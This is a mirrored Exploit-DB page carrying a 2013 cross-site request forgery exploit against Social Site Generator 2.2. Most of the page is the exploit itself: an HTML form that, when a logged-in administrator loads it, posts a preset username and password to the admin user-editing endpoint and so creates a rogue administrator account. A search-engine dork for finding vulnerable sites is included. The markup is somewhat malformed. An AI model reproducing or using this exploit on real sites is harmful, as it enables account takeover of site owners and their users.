Social Site Generator 2.2 – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： Fallaga

日期： 2013-05-06

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/25245/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

# Exploit Title: social generator Remote Add Admin Exploit

# Date: 02/05/2013

# Author: Fallaga

#Script url:www.socialsitegeneratorscript.com

# Version: 2.2

# Tested on: Windows

# CVE : ()

# Dork: inurl:my_profile.php?user_id=MTM=

##################################################################################

<html>

<form method="post" action="

http://server/admin/edit_admin_user.php?eventid=10

<td width="17%" align="left" nowrap

class="text"><strong>Username:</strong></td>

<td width="83%"><table border="0"

cellspacing="0" cellpadding="2">

<tr>

<td nowrap align="left"><input

name="txt_username" type="text" value="JaMbA"/></td>

</tr>

</table></td>

</tr>

<tr>

<td nowrap class="text"

align="left"><strong>Password:</strong></td>

<td><table border="0" cellspacing="0"

cellpadding="2">

<tr>

<td nowrap align="left" class="text"><input name="txt_password"

type="password" value="abdotv"/></td>

</tr>

</table></td>

</tr>

<tr>

<td nowrap class="text"

align="left"><strong>Confirm Password:</strong></td>

<td><table border="0" cellspacing="0"

cellpadding="2">

<tr>

<td nowrap align="left" class="text"><input name="txt_cpassword"

type="password" value="abdotv"/></td>

</tr>

</table></td>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

<td><tableborder="0" cellspacing="0"

cellpadding="2">

<tr>

<input type="submit"

value="Submit" name="btn_submit" >

</td>

</tr>

</table></td>

</tr>

</table></td>

</tr>

</table></td>

</tr>

</table></td>

</tr>

</table>

</form></td>

</tr>

</table></td>

</tr>

<tr>

<tr>

<td width="3%" align="left" background="images/layoutadmin_109.jpg"

style="background-repeat:repeat-x" ><img src="https://www.exploit-db.com/exploits/25245/images/layoutadmin_108.jpg"

width="33" height="20" alt="" /></td>

<td width="3%" align="right"

background="images/layoutadmin_109.jpg" style="background-repeat:repeat-x"

><img src="https://www.exploit-db.com/exploits/25245/images/layoutadmin_111.jpg" width="33"height="20" alt=""/></td>

</tr>

</table></td>

</tr>

</table>

</body>

</html>

++++++++++++++++++++++++++++++++++++++++++++++++++++++

Greetz: FaLLAGa Gov TN